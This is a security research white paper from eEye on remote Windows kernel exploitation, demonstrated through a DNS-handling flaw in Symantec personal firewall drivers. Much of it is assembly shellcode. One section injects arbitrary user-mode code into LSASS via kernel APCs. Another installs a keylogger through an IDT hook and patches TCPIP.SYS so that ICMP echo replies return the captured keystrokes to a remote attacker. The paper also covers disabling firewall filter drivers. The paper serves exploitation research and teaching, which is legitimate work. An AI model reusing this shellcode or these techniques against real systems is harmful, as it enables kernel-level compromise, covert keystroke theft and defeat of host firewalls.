eEye Digital Security®

eEye Digital Security White Paper

Remote Windows Kernel Exploitation Step into the Ring 0

by Barnaby Jack, Senior Research Engineer

Table of Contents

Introduction

It was almost a decade ago when Solar Designer posted a message to the Bugtraq mailing list providing exploit code and detailing a remote buffer overflow in the product Website v1.1e for Windows NT. I believe this was the first published buffer overflow exploit for Windows.

Over eight years have passed and almost every possible method and technique regarding Windows exploitation has been discussed in depth. Surprisingly, a topic that has yet to be touched on publicly is the remote exploitation of Win32 kernel vulnerabilities; a number of kernel vulnerabilities have been published, yet no exploit code has surfaced in the public arena.

I predict we will see more kernel vulnerabilities in the future, since more and more networking services are being implemented at the driver level. One good example of this is Internet Information Services, which now contains a network driver that performs processing of HTTP requests.

With the release of XP SP2 and wide use of personal firewalls, many software and security companies are making claims of secure systems. Those wishing to disprove this claim are going to have to adapt to new methods of exploitation. But a firewall is a security product; therefore it must be secure, right? After all, it has been designed to protect against the very type of threats that I am proposing – don't be discouraged. If the last two years have shown us anything, it is that security solutions have the same bugs and vulnerabilities as every other piece of software out there.

Certainly, the developers of kernel code are of a very high caliber, and are few and far between. For this exact same reason, the code may not undergo the same level of peer scrutiny as that of a user based application. It only takes one mistake.

In the article that follows, I will walk through the remote exploitation of a kernel-based vulnerability. The example I use was a flaw in the Symantec line of personal firewalls. The flaw existed due to incorrect handling of DNS responses. This issue was patched long ago, but it was chosen as it demonstrates certain obstacles relating to the communication layers that must be overcome when exploiting a host-based firewall.

I will provide two shell code examples: the first is a "kernel loader", which will allow you to plug in and execute any user-land code you wish; the second operates entirely at the kernel level. A keystroke logger is installed and the keystroke buffer may be retrieved from a remote system. This example demonstrates more of an old school software crack than that of network shell code.

This article assumes the reader has knowledge of x86 assembler language, and previous experience with Win32 exploitation.

Kernel and User Land

The i386 architecture supports four rings, otherwise known as privilege levels. Windows NT makes use of two of these rings. This decision was made so that the NT operating system would have the ability to run on architectures that do not support all four privilege levels.

User land code, such as applications and system services, run in the privilege ring 3. User mode processes may only access their allocated two gigabytes of memory (the upper half of the four gigabytes is accessible to the process when running in privileged mode), and user-code is pageable and may be context-switched.

Kernel level code runs at privilege level 0. The HAL (Hardware Abstraction Layer), device drivers, IO, memory management and the graphics interface are all examples of code that run at ring 0. Code executing at the ring 0 privilege level runs with full system privileges. Full memory access and the ability to execute privileged instructions are available.

The Native API

By design, user mode processes cannot switch privilege levels arbitrarily. This ability would circumvent the entire security model of Windows NT. Of course, this security model has been circumvented multiple times. A recent example of this is an advisory published by Derek Soeder of eEye:

http://www.eeye.com/html/research/advisories/AD20041012.html

There are times when a user-land job cannot be completed without the power of a kernel level function. This is where the Native API comes into play. The Native API is a sparsely documented set of internal functions that execute within kernel mode. The reason the Native API exists is to offer a somewhat “safe” way to call kernel mode services from user land.

A user-mode application may call Native API functions that are exported from NTDLL.DLL. NTDLL.DLL exports a large number of functions that offer a “wrapper” into the corresponding kernel function. Should you disassemble one of these functions you will find output similar to the following:

Windows 2000:

```
mov    eax, 0x0000002f
lea    edx, [esp+04]
int    0x2e
```

Each Native API function exported by NTDLL disassembles to a “stub” that transfers execution to kernel mode. A register is loaded with an index number, which indexes into the System Service Table, and subsequently accesses the offset into NTOSKRNL that represents the required function.

Windows XP:

```
mov    eax, 0x0000002f
mov    edx, 7ffe0300
call   edx
```

At offset 0x7ffe0300:

```
mov    edx, esp
sysenter
ret
```

On Windows XP things are a little different, provided your computer's specs are a Pentium II or higher. Windows XP has switched to the SYSENTER/SYSEXIT instruction pair for switching to and from kernel mode. This adds a slight hitch to shell code creation, which will be explained in detail later.

To create successful kernel-mode shell code, one must forget about the user-level API and use only Native API kernel functions. Documentation for much of the Native API can be found in Gary Nebbett's book The Windows NT/2000 Native API Reference.

Behind The Blue Screen

You have found a vulnerability. You send your packet data to the remote system and are faced with the dreaded blue screen. In this case, it is a good thing. The first step in successfully exploiting a kernel-based vulnerability is understanding what goes on behind the scenes of the "Blue Screen Of Death".

Whenever you see a BSOD, the native function KeBugCheckEx has been called. A bugcheck can be issued in two ways:

1. By the kernel exception dispatcher, or

2. KeBugCheckEx was called directly after an error check.

The chain of events for kernel exception handling is as follows:

When an exception is issued, the kernel gains control via various function entries (KiTrapXX) within the IDT (Interrupt Descriptor Table). These functions make up the first level Trap Handler. The Trap Handler may deal with the exception itself, locate an exception handler to pass down to, or if it cannot be handled – it will call KeBugCheckEx.

In all cases, we need to retrieve the Trap Frame to gain an understanding of where the exception happened and why it was caused. A trap frame is similar to a CONTEXT structure. With this structure, we can retrieve all register states and the instruction pointer value from the address where the exception was thrown. I tend to use the SoftICE debugger from Compuware/Numega for almost all of my debugging, but when working with the trap frame states, WinDbg provides far better functionality and structure recognition. If using SoftICE alone, I must manually locate the previous stack parameters.

Provided your computer is set up to save memory dumps when a blue screen occurs, this file will be saved to %SystemRoot%\MEMORY.DMP *by default*. Load WinDbg and select "Open Crash Dump" to load the saved file. In the following example, KeBugCheckEx was called directly from the Trap Handler.

After loading the memory dump WinDbg gives the following output:

```
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

Use !analyze -v to get detailed debugging information.
```

```
BugCheck D1, {41414141, 2, 0, 41414141}
Probably caused by : ntoskrnl.exe ( nt!KiTrap0E+2ad )
```

Now issue the “display stack” command **kv** (display stack verbose).

```
kd> !kv
ChildEBP RetAddr  Args to Child
80541980 804dce53 0000000a 41414141 00000002 nt!KeBugCheckEx+0x19 (FPO: [Non-
Fpo])
80541980 41414141 0000000a 41414141 00000002 nt!KiTrap0E+0x2ad (FPO: [0,0] TrapFrame @
8054199c)
WARNING: Frame IP not in any known module. Following frames may be wrong.
80541a0c 90909090 90909090 90909090 90909090 0x41414141
00000246 00000000 00000000 00000000 00000000 0x90909090
```

WinDbg shows that KeBugCheckEx was called from the trap routine KiTrapOE and the TrapFrame is at address 0x8054199C

Now display the trap frame contents with the command “trap address”.

```
kd> .trap 8054199c
ErrCode = 00000000
eax=00000000 ebx=80dd3da8 ecx=00000000 edx=00000000 esi=f6dbfb6d edi=80e74c8b
eip=41414141 esp=80541a10 ebp=44444444 iopl=0         nv up ei pl zr na po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000246
41414141 ??               ???
```

We can now see the state of all registers at the time the exception was thrown. We can also display the memory regions, up to a certain point. We see that the instruction pointer had the value 0x41414141, which was in this case user-defined data. We can now alter the flow of execution in any way we wish.

In this particular case the data was located in the ESP register:

```
kd> d 80541a10
80541a10  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
80541a20  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
80541a30  90 90 90 2e 60 eb 03 5d-eb 05 e8 f8 ff ff ff 83  ....`..]........
80541a40  c5 1a 90 90 90 8b f5 8b-fe 33 c9 66 b9 d2 02 ac  .........3.f....
80541a50  3c 2e 74 03 34 80 aa e2-f6 0b b5 b8 70 5f 7f 2d  <.t.4.......p_.-
80541a60  19 2d c8 01 b8 cd da 10-80 f5 77 68 94 80 80 80  .-........wh....
80541a70  49 25 ac 2e 3f 5f e3 90-5f 87 78 52 d7 a3 fb 51  I%..?_.._.xR...Q
80541a80  1d e4 4b b7 d8 db 0b 7b-03 6b 9b b3 49 31 8a 12  ..K....{.k..I1..
```

Now we can redirect execution by replacing the 0x41414141 with an offset that executes a JMP ESP, CALL ESP, PUSH ESP/RET, etc. You take the same route you would to exploit any standard overflow vulnerability.

If the Bugcheck had been issued from the exception dispatcher, the trap frame would be the third parameter passed to KiDispatchException. In that scenario, you would need to pass the third parameter address to the trap command.

When selecting an offset to redirect execution, an address that will be static in memory (ie: always loaded at the same address) is mandatory.

Shell Code Examples

The first shell code example is a “Kernel Loader” and will allow you to plug in any user-land code and have it safely executed. This is convenient if you wish to execute a remote shell, or any of the many common user-land shell codes. Interestingly, you have complete control of the processor, yet one of the handiest capabilities is to drop back to user-mode, go figure. This approach also saves you having to deal with the sparsely documented native API.

The second example is pure kernel. This example sets a custom keyboard interrupt handler and captures all keystrokes. The shell code then patches the TCPIP.SYS ICMP handler to return the keyboard buffer to a remote computer upon receiving an ICMP ECHO request. This code is small and utilizes a very small number of API functions.

To gain a complete understanding of the following examples, I recommend having copies of the accompanying source code on hand.

The “Kernel Loader”

There are a number of techniques to pass code from the kernel to user-land and have the code execute. You could, for instance, directly change the context EIP of a running user thread to point to your code – the running process is going to self destruct after attempting this feat.

One other idea is to make use of the functions RtlCreateUserThread and RtlCreateUserProcess within the NTOSKRNL– these functions exist to create SMSS.EXE, the only parentless process - as it is the Son of the Kernel. However, there are two problems: one, they are not exported, and two, and this is a big one, they are in the INIT section of NTOSKRNL. This means that by execution time the functions are gone. The drawback is having to remap NTOSKRNL, initialize some global variables (_MmHighestUserAddress and _NtGlobalFlag), and of course finding the functions in the first place.

Another possibility is to create a remote thread in the user-land process and have the thread execute directly. Firew0rker touched on this in his Phrack article: http://www.phrack.org/phrack/62/p62-0x06_Kernel_Mode_Backdoors_for_Windows_NT.txt

Unfortunately, this method has its downfalls. When executing the user-land code, the CreateProcess API will fail;this is probably due to the CSRSS subsystem needing to be informed. The workaround was to retrieve and set a new CONTEXT structure within the user-land shell code.

The goal is to keep the shell code as small as possible, and also be able to plug in any user-land code we wish without modification. In our case, the above workaround was not a viable option. This method also calls functions exported by NTDLL, which, outside of Windows 2000, can pose a problem. Windows 2000 uses the interrupt 0x2e to make the transition from ring 3 to ring 0, these functions can be somewhat safely called directly, as the OS will allow the execution of the INT 0x2e instruction from either ring 0 or ring 3.

Unfortunately, in Windows XP a problem arises. Windows XP has switched to the more logical SYSENTER and SYSEXIT instruction pair for switching to and from ring 0. If an NTDLL exported function is called directly from the kernel, a blue screen is imminent. To get around this hurdle, additional code is needed to look up the required NTOSKRNL function from the System Service Table – additional code we could do without. The method I decided to implement utilizes Asynchronous Procedure Calls (APC's) to execute our function (shell code) in user-land. This method only uses functions directly exported from NTOSKRNL.

By issuing an APC call to a user-mode thread in an "Alertable Wait State", the issued function should execute immediately, and no previous context creation is required. A thread in an "Alertable Wait State" is any thread which may have called SleepEx, WaitForSingleObjectEx, SignalObjectAndWait and MsgWaitForMultipleObjectsEx with the bAlertable flag set to TRUE. This method requires a minimal amount of API calls and tends to be very reliable.

All functions we will be using are exported from NTOSKRNL.EXE. The first step is to manually retrieve the NTOSKRNL base address. To accomplish this we use what is dubbed a "mid-delta" technique: a pointer into the NTOSKRNL address space is retrieved, and we then decrement until we locate the "MZ" executable signature. To get a pointer into the NTOSKRNL address space we retrieve the first entry in the Interrupt Descriptor Table, as this entry should always point somewhere within NTOSKRNL.

The following code accesses the IDT to get a memory pointer, and then decrements to find the base address.

```
mov     esi, dword ptr ds:[0ffdff038h]  ; get address of IDT
lodsd
cdq
lodsd                                   ; get pointer into NTOSKRNL
@base_loop:
dec     eax
cmp     dword ptr [eax], 00905a4dh      ; check for MZ signature
jnz     @base_loop
```

The usual method for retrieving the base address of the IDT is to issue the SIDT instruction. As the IDT is also referenced by the pointer at the address 0xFFDFF038, we can access the IDT address directly and shave off a small number of bytes.

You may have noticed that the above code did not retrieve a valid IDT function entry. We only really need the high word of the entry, as the low word can safely run from 0-0xFFFF and remain within NTOSKRNL memory.

```
hash_table:

dw 063dfh;      "PsLookupProcessByProcessId"
dw 0df10h;      "KeDelayExecutionThread"
dw 0f807h;      "ExAllocatePool"
dw 057d2h;      "ZwYieldExecution"
dw 07b23h;      "KeInitializeApc"
dw 09dd1h;      "KeInsertQueueApc"
```

```
_pslookupprocessbyprocessid  equ [ebx]
_kedelayexecutionthread      equ [ebx+4]
_exallocatepool              equ [ebx+8]
_keyieldexecution            equ [ebx+12]
_keinitializeapc             equ [ebx+16]
_keinsertqueueapc            equ [ebx+20]

hash_table_end:
```

Next we create a table of two-byte hashes for each of the required function calls. Function strings generally take up an excessive amount of space within Win32 shell code, so using a hash-based approach is logical. Each function pointer is then stored in a table and accessed throughout the shell code via the EBX register.

The next step is a standard "GetProcAddress" implementation. The code parses the export table of NTOSKRNL, and retrieves the corresponding function addresses. The one difference in this implementation is the hashing function which consists of a XOR/ROR of each byte of the export table name list.
I use a WORD sized hash rather than a DWORD hash to keep the size of the shell code minimal.

Once we have retrieved the addresses for our functions that we will be using, the next task is to allocate a new memory block to store the remaining shell code.
The reason for this is that our code is residing on the stack, and future kernel functions will blow away chunks of our code – particularly when we attempt to lower the IRQL (Interrupt Request Level). We must protect our code by copying it to this new memory block.

We call ExAllocatePool passing NonPagedPool as a parameter. We then copy the shell code that follows into the non-paged block, and simply execute a JMP instruction to this memory area. All code that follows is now safe to execute without affecting our shell code.

When exploiting a driver, we must be aware of what IRQL (Interrupt Request Level) we are currently executing at. The Interrupt Request Level is the hardware priority level that a given kernel routine is currently running. Many kernel functions will require an IRQL level of PASSIVE (0) to successfully execute. If we are running at the DISPATCH (2) level, which is for the thread scheduler and DPC's (Deferred Procedure Calls) – we must lower to PASSIVE. This is a simple matter of calling the HAL exported function KeLowerIrql and passing 0 (PASSIVE) as a parameter.

As we are going to be attaching to a process in user-land, we are going to require a pointer to the processes EPROCESS structure. Every process has a corresponding EPROCESS structure. More information on this structure, and other structures referenced throughout this article can be found by dumping the structures in WinDbg (e.g.: dt NT!_EPROCESS). The function calls that we will be utilizing will require offsets gathered from the EPROCESS. If we can get a pointer to any EPROCESS structure, we can traverse the structure to retrieve pointers to the structures of all active processes.

Generally, one would call PsGetCurrentProcess to get a pointer to an initial EPROCESS structure. Unfortunately, when exploiting a remote driver, we have the possibility of landing in the "Idle" address space. The "Idle" process does not return a valid process structure. Instead, I call PsLookupProcessByProcessId and pass the PID of the "system" process as the parameter. On Windows XP this will be 4 and on Windows 2000 this is 8.

```
lea     ebp, [edi-4]
push    ebp
push    04
call    dword ptr _pslookupprocessbyprocessid ;Get System EPROCESS
mov     eax, [ebp]                            ; Get EPROCESS pointer
```

With an initial structure now retrieved, we can access the structure of any active process. I choose to inject my code into the address space of LSASS, but any process running as SYSTEM will be an adequate target. To access LSASS we loop through each entry pointed to by EPROCESS+ActiveProcessLinks and compare the ModuleName offset with LSASS.

```
mov     cl, EP_ActiveProcessLinks  ; offset to ActiveProcessLinks
add     eax, ecx       ; get address of EPROCESS+ActiveProcessLinks

@eproc_loop:
mov     eax, [eax]                            ; get next EPROCESS struct
mov     cl, EP_ModuleName
cmp     dword ptr [eax+ecx], "sasl"           ; is it LSASS?
jnz     @eproc_loop
```

Once we have located the LSASS process, we subtract the ActiveProcessLinks offset, and we will have a pointer to the beginning of the EPROCESS structure for LSASS.

The next step is to copy our shell code into our target's memory space. At first I was going to store the shell code in the Process Environment Block; in the past, the PEB was always mapped at the address 0x7ffdf000. With XP SP2, the PEB is now mapped at a random location. Although it can be found at 0xFFDFF000->0x18->0x30, we have a better option: we can store our code within kernel-user-shared memory, officially known as SharedUserData. At 0xFFDF0000 is a writable memory area where we may store our shell code. This memory address is mapped from user land at 0x7FFE0000 and marked read only; these mapped locations are the same on all platforms, so it is a good choice for keeping everything generic. As the data at this memory location is readable from all processes, we are not required to switch into the address space of our target process. We write our data to 0xFFDF0000+0x800 from the kernel, and when queuing our user-mode APC, we pass the address 0x7FFE0000+0x800.

```
call    @get_eip2
@get_eip2:
pop     esi
mov     cx, shell code-$+1
add     esi, ecx                              ; Get shell code address
mov     cx, (shell code_end-shell code)       ; Shell code size

mov     dword ptr [edi], SMEM_ADDR  ; 0xFFDF0000+0x800
push    edi
mov     edi, [edi]                            ; Copy shell code to SharedUserData
rep     movsb
pop     edi
```

Now we must locate a thread which meets the requirements for executing our APC function. An APC can be scheduled as a kernel-mode APC, or a user-mode APC. In our case, we will be queuing a user-mode APC.
A user-mode APC will not be called unless the thread we are passing it to is in an "alertable wait-state". As I briefly mentioned earlier, a thread enters an alertable wait state when calling one of the following functions: SleepEx, SignalObjectAndWait, MsgWaitForMultipleObjectsEx and WaitForSingleObjectEx with the bAlertable flag set to TRUE.

The trick to finding a useable thread is to access the pointer to the process's ETHREAD structure, and loop through each thread until we find one that meets our requirements.

```
mov     edx, [edi+16]                       ; Pointer to EPROCESS
mov     ecx, [edx+ET_ThreadListHead]        ; Get ETHREAD pointer
@find_delay:
mov     ecx, [ecx]                          ; Get next thread
cmp     byte ptr [ecx-ET_ThreadState], 04h  ; Thread in DelayExecution?
jnz     @find_delay
```

The code above first gets a pointer to the LSASS ETHREAD structure via the ThreadListHead LIST_ENTRY in the EPROCESS structure. We then check the flags of the thread state for a thread that is waiting within DelayExecution.

Once our target thread has been found, we set the EBP register to the beginning of the KTRHEAD structure. Next we must initialize our APC routine.

```
xor     edx, edx
push    edx
push    01                        ; push processor
push    dword ptr [edi]           ; push EIP of shell code (0x7ffe0000+0x800)
push    edx                       ; push NULL
push    offset KROUTINE           ; push KERNEL routine
push    edx                       ; push NULL
push    ebp                       ; push KTHREAD
push    esi                       ; push APC object
call    dword ptr _keinitializeapc ; initialize APC
```

As parameters to the KeInitializeApc function, we push the EIP of our user-mode shell code (the shell code stored in SharedUserData). We must pass a kernel routine that will also be called. We require this routine to do absolutely nothing, so just pointing the routine towards a RET instruction is sufficient. The KTHREAD structure of the thread that will be executing our APC function is also required. The APC object will be returned in the variable pointed to by the ESI register.

Now, our APC function must be inserted into the APC queue of our target thread.

```
push    eax                       ; push 0
push    dword ptr [edi+4]         ; system arg
push    dword ptr [edi+8]         ; system arg
push    esi                       ; APC object
```

```
call    dword ptr _keinsertqueueapc
```

The last function required to send our APC, is KeInsertQueueApc. In the above code, EAX is zero, and the two system arguments are also pointing to a NULL location. We also pass the APC object returned from our previous call to KeInitializeApc.

Finally, to prevent our original payload thread from returning and killing all the hard work with a blue screen, we must put our thread to sleep.

```
push    offset LARGE_INT
push    FALSE
push    KernelMode
call    dword ptr _kedelayexecutionthread
```

We call KeDelayExecutionThread passing a large integer value, in our case 80000000:00000000.

If, by some chance, we land in the "Idle" address space, this call may fail, a trick to get around this slim possibility is to yield execution of the thread (pass priority to other threads) and loop. The code snippet follows:

```
@yield_loop:
        call    dword ptr _keyieldexecution
        jmp     @yield_loop
```

So, with any luck, the user-mode thread should have executed safely within the SYSTEM process of your choosing. Provided that on completion of your APC function you exited the user code with a call to ExitThread, the system should hopefully remain stable.

The ICMP Patching Interrupt Hooking Key-Logger

I was chatting with Derek Soeder of eEye, and we were discussing what would be a useful shell code that consists of only kernel-level code. One of the ideas that came up was a kernel-level key-logger that can return the key buffer to a remote user. Obviously this is shell code, so creating a full-fledged keyboard filter and a communications tunnel may stretch the bounds of acceptable code size, so a few shortcuts had to be taken.

Rather than attach a keyboard filter to capture keystrokes, we take a step back to the days of DOS and replace the keyboard interrupt handler with our own to capture scan codes. Instead of creating our own tunnel to return the keystrokes to a remote user, the approach I decided to take was to patch the ICMP handler of the TCPIP.SYS driver. The patch overwrites the ICMP ECHO handler to replace the buffer with a pointer to our keystroke buffer. Sending an ICMP ECHO request to the remote system will return the captured keystrokes. Thanks to Derek Soeder for supplying the utility to retrieve the remote keystrokes.

The first step is to replace the IDT entry of the keyboard handler with an offset to our own interrupt handler. Now, on XP and Windows 2000 SP4, there is a Vector to IRQ table stored within the HAL memory space. We can simply search for some nearby signature bytes, and look up the vector that corresponds to IRQ1 (the keyboard IRQ). On earlier service packs, such as Windows 2000 SP0, this table doesn't exist, but the vector table looks to be static. IRQ1 = Vector 0x31, IRQ2 = Vector 0x32, and so on. The following code first attempts to locate the Vector table, and failing that, will use the static interrupt vector of 0x31.

```
        mov     esi, dword ptr ds:[0ffdff038h]  ; Get base address of IDT
        lodsd
        cdq
        lodsd                                   ; Get pointer into NTOSKRNL
@base_loop:
        dec     eax
        cmp     dword ptr [eax], 00905a4dh      ; Check for MZ signature
        jnz     @base_loop
        jecxz   @hal_base                       ; NTOSKRNL base is in EAX
        xchg    edx, eax
        mov     eax, [edx+590h]                 ;Get a pointer to a HAL function
        xor     ecx, ecx
        jmp     @base_loop                      ;Find HAL base address
@hal_base:
        mov     edi, eax                        ;HAL base in EDI
        mov     ebp, edx                        ;NTOSKRNL base in EBP
        cld
        mov     eax, 41413d00h                  ;Signature bytes "=AA\0"
        xor     ecx, ecx
        dec     cx
        shr     ecx, 4
        repnz   scasd                           ;Get offset to table
        or      ecx, ecx
        jz      @no_table

        lea     edi, [edi+01ch]                 ;Get pointer to Vector table
        push    edi
        inc     eax                             ;IRQ 1
        repnz   scasb
        pop     esi
        sub     edi, esi
        dec     edi                             ;Retrieve keyboard interrupt
        jmp     @table_ok
@no_table:
        mov     edi, 031h                       ;Use static vector if table not found
@table_ok:
        push    edx
        sidt    [esp-2]                         ;Get IDT
        pop     edx
        lea     esi, [edx+edi*8+4]              ;Keyboard handler IDT entry
        std
        lodsd

        lodsw                                   ; EAX has address of keyboard handler
        mov     dword ptr [handler_old], eax    ; save
```

First we locate the base addresses of both NTOSKRNL and HAL.DLL.

Next, we scan the HAL memory space for the signature bytes "=AA\0". This DWORD marks the beginning of the IRQL-to-TPR (Task Priority Register) translation table, which neighbors the Vector->IRQ table. If the signature bytes are not found, we set the interrupt vector to the static value of 0x31. If the IRQ table is found, the required offset to the interrupt vectors is at IRQ table+0x1ch. We then locate the vector that corresponds to the keyboard IRQ1. Next, we retrieve the IDT base address by issuing the SIDT instruction. The formula for retrieving an interrupt vector IDT entry is as follows:

IDT_BASE+INT_Vector*8

We retrieve the address of the original interrupt handler from the IDT, and store it at the beginning of our handler, so we may return to the original handler after our new handler has completed its job. The following code overwrites the previous interrupt handler in the IDT with the address of our new interrupt handler:

```
cld
mov     eax, @handler_new

cli                             ; Disable interrupts while overwriting the entry
mov     [esi+2], ax             ; Overwrite IDT entry with new handler
shr     eax, 16
mov     [esi+8], ax
sti                             ; Re-enable interrupts
```

Next, we must allocate a buffer to store our captured keystrokes by calling ExAllocatePool. We must also locate the ImageBase of TCPIP.SYS; we do this by parsing the PsLoadedModule list in the NTOSKRNL. Unfortunately PsLoadedModuleList is not publicly exported, and we will have to locate the list manually.

A function exported from NTOSKRNL, MmGetSystemRoutineAddress, makes use of this list.

IDA Snippet:

```
80588581 loc_80588581:    ; CODE XREF :MmGetSystemRoutineAddress+2D
80588581            push    1           ; AllocateDestinationString
80588583            push    [ebp+SourceString] ; SourceString
80588586            lea     eax, [ebp+UnicodeString]
80588589            push    eax             ; DestinationString
8058858A            call    RtlUnicodeStringToAnsiString
8058858F            test    eax, eax
80588591            jl      short loc_80588575
80588593            mov     eax, large fs:124h
80588599            push    1               ; Wait
8058859B            mov     edi, eax
8058859D            dec     dword ptr [edi+0D4h]
805885A3            push    offset unk_80542FC0 ; Resource
805885A8            call    ExAcquireResourceSharedLite
805885AD            mov     esi, dword_80542FB0 <- PsLoadedModuleList
805885B3            mov     ebx, offset dword_80542FB0
805885B8            jmp     short loc_805885FE
```

To retrieve the required pointer, we pass the address of MmGetSystemRoutineAddress and increment through the routine to manually locate the offset to the PsLoadedModuleList.

```
        mov     edi, _mmgetsystemroutineaddress
@mmgsra_scan:
        inc     edi
        mov     eax, [edi]
        sub     eax, ebp
        test    eax, 0FFE00003h
        jnz     @mmgsra_scan
        mov     ebx, [edi]
        cmp     ebx, [edi+5]             ;Check for pointer to PsLoadedModuleList
        je      @pslml_loop
        cmp     ebx, [edi+6]
        jne     @mmgsra_scan

@pslml_loop:                             ; _PsLoadedModuleList found.
        mov     ebx, [ebx]
        mov     esi, [ebx+30h]
        mov     edx, 50435449h           ; "ITCP" ;TCPIP.SYS module?
        push    4
        pop     ecx
@pslml_name_loop:
        lodsw
        ror     edx, 8
        sub     al, dl
        je      @pslml_name_loop_cont
        cmp     al, 20h
@pslml_name_loop_cont:
        loopz   @pslml_name_loop
@pslml_loop_cont:
        jnz     @pslml_loop

        mov     edi, [ebx+18h]           ;TCPIP.SYS imagebase
```

The code above first traverses the MmGetSystemRoutineAddress routine until it finds the location of the ModuleList pointer.

The structure of the system module list is as follows:

```
  +00h  LIST_ENTRY
  +08h  ???
  +18h  LPVOID              module base address
  +1Ch  LPVOID              ptr to entry point function
  +20h  DWORD               size of image in bytes
  +24h  UNICODE_STRING  full path and file name of module
  +2Ch  UNICODE_STRING  module file name only
   ...
```

The module list is then parsed until the TCPIP.SYS module is found, and its base address is retrieved.

Earlier I mentioned that this code resembles a software crack more than network shell code, and here's why: we are now going to patch the TCPIP driver so we are able to retrieve the captured keystrokes from a remote system. There are a multitude of paths we could have taken, and I decided to patch the ICMP echo handler to be used as our communications tunnel.

The routine in TCPIP.SYS where we will apply our patch is the SendEcho function. The complete disassembly of the routine is too long to include, but the relevant snippet is below:

```
FF D6                call    esi ; __declspec(dllimport) ExAllocatePoolWithTagPriority(x,x,x,x)
3B C3                cmp     eax, ebx
89 45 18             mov     [ebp+arg_10], eax
0F 84 C3 2B 01 00    jz      loc_2E58E
8B 45 20             mov     eax, [ebp+NumberOfBytes]
8B 55 1C             mov     edx, [ebp+arg_14]
89 45 14             mov     [ebp+arg_C], eax
89 5D E8             mov     [ebp+var_18], ebx
loc_1B9D7:         ; CODE XREF: SendEcho(x,x,x,x,x,x,x,x)+FB
8B 42 0C             mov     eax, [edx+0Ch]
39 45 14             cmp     [ebp+arg_C], eax ;patch here
0F 82 D0 2B 01 00    jb      loc_2E5B3          ;patch here
loc_1B9E3:         ; CODE XREF: UpdateICMPStats(x,x)+13147
8B 7D 18             mov     edi, [ebp+arg_10]
8B 72 08             mov     esi, [edx+8]        ;echo buffer
```

In the above function disassembly, the pointer at [edx+8] points to the ICMP ECHO buffer. It is simply a matter of patching the above code to replace the pointer at [edx+8] with a pointer to our keystroke buffer.

```
        mov     eax, 428be85dh          ; Byte sequence to locate in TCPIP.SYS
@find_patch:
        inc     edi
        cmp     dword ptr [edi], eax
        jnz     @find_patch
        add     edi, 5

        mov     al, 68h
        stosb                           ; Store "push"
        mov     eax, edx                ; EDX = pointer to key buffer
        stosd                           ; Store key buffer pointer
        mov     eax, 08428f90h          ; "pop [edx+08h] / nop"
        stosd                           ; Patch rest of code
```

The code above overwrites the patch location with the following code:

```
push    keybuffer_offset
pop     [edx+8]
nop
```

When an ICMP ECHO request is sent to the remote system, the response packet will now contain the captured key buffer.

The replacement interrupt handler itself is very simple – when a key is pressed our handler is invoked, we then read the scan code from the keyboard port, and store it in our captured keystroke buffer.

```
@handler_new:
        push    0deadbeefh      ; Save previous handler
handler_old equ $-4

        pushfd
        pushad
        xor     eax, eax

        lea     edi, keybuf      ; Gets overwritten with allocated buffer
KB_PATCH equ $-4
        in      al, 60h          ; Retrieve keyboard scan code
        test    al, al           ; No code?
        jz      @done

        push    edi
        mov     ecx, [edi]
        lea     edi, [edi+ecx+4]
        stosb                     ; Store code in buffer
        inc     ecx
        pop     edi
        cmp     cx, 1023
        jnz     @done
        xor     ecx, ecx

@done:
        mov     [edi], ecx
        popad
        popfd
        db 0c3h                  ; Return to previous handler
```

The above code is called whenever a key is pressed. The address of the previous interrupt handler (which is overwritten earlier in the code) is pushed onto the stack. We then read the current scan code from the keyboard port (060h) and store this code within our allocated buffer. The buffer circulates every 0x3ff keypresses.

And so it was done.

Considerations When Exploiting Firewall Drivers

There is a lot to be taken into consideration when exploiting kernel level vulnerabilities within firewall drivers. The specific vulnerability we used for demonstration arises from a flaw within the processing of DNS responses. The DNS responses are handled by the driver SYMDNS.SYS. If the DNS processing cannot successfully return, no socket communication will be possible. Before delving in to this problem, an understanding of the various communication layers (and how the Symantec firewall drivers fit in) must be discussed.

The following is a rundown of the Network layers in the chain order:

Network Driver Interface Specification Layer (NDIS)
NDIS provides the communication path from a physical device to a network transport, such as Ethernet. The NDIS drivers directly interface with the network adapter.

Network Protocol Layer
In our case, TCP/IP. (TCPIP.SYS)

Transport Driver Interface Layer (TDI)
The TDI layer provides an interface between the network protocols and the protocol clients, or networking API, such as Winsock.

Network API Layer
The Network API Layer, Winsock for example, provides the programming interface for networking applications.

All host-based firewalls worth their salt will filter at a kernel-mode layer. Usually this will be via a TDI filter driver, a NDIS intermediate driver or an NDIS hooking filter driver. It is possible to also hook the AFD interface, although I have not seen this used by a firewall product.

Here is the problem we face: SYMDNS.SYS must return back to the TDI filter driver, SYMTDI.SYS, unfortunately communication never returns due to our shell code executing. We have a number of solutions:

(a) The "clean" return

The clean return involves returning from shell code without causing a BSOD and allowing communication to resume normally. This can be tough to accomplish. The stack is not in good shape after the attack, so you must return to a previous stack frame further down the chain.

(b) Unload the TDI or NDIS filter

Unloading the filter driver is another option. We can simply call the unload routine of the driver we are working with (if one is available, that is). This is the equivalent of calling the DriverObject->DriverUnload from the DriverEntry routine. The offset to this unload routine is retrieved via the DRIVER_OBJECT of the target driver.

If the DriverUnload member of DRIVER_OBJECT is NULL, no Unload routine exists for the target driver. The DRIVER_OBJECT can be referenced via a member within the DEVICE_OBJECT. A pointer to the DEVICE_OBJECT can be retrieved by passing the driver name to the API function IoGetDeviceObjectPointer.

(c) Detach/delete the devices

A driver calls the function IoAttachDevice or IoAttachDeviceToDeviceStack to attach its own device object to another device, so that requests being made to the original device are first passed to the intermediate device. We can pass the DEVICE_OBJECT to IoDetachDevice to detach the driver from the chain. We may also pass the DEVICE_OBJECT to IoDeleteDevice to remove the device completely.

Conclusion

The largely undocumented nature of the Windows kernel can make exploitation a somewhat daunting task. I hope that I have shown that the hurdles kernel based flaws present can certainly be overcome.

Over the years, the uninformed have always claimed certain exploitation techniques were not possible. The mentality is "If I haven't seen it, then it can not be done". I recall a heap-based vulnerability in Microsoft ISA server a number of years back: Microsoft claimed this was not exploitable as there was no way to directly control the instruction pointer, yet you could overwrite any memory location of your choosing with data you control. Now those vulnerabilities are common, and the exploitation techniques are public knowledge.

The same ignorance has also been applied to Windows ring 0 vulnerabilities. I hope that this article opens some eyes.

Acknowledgements

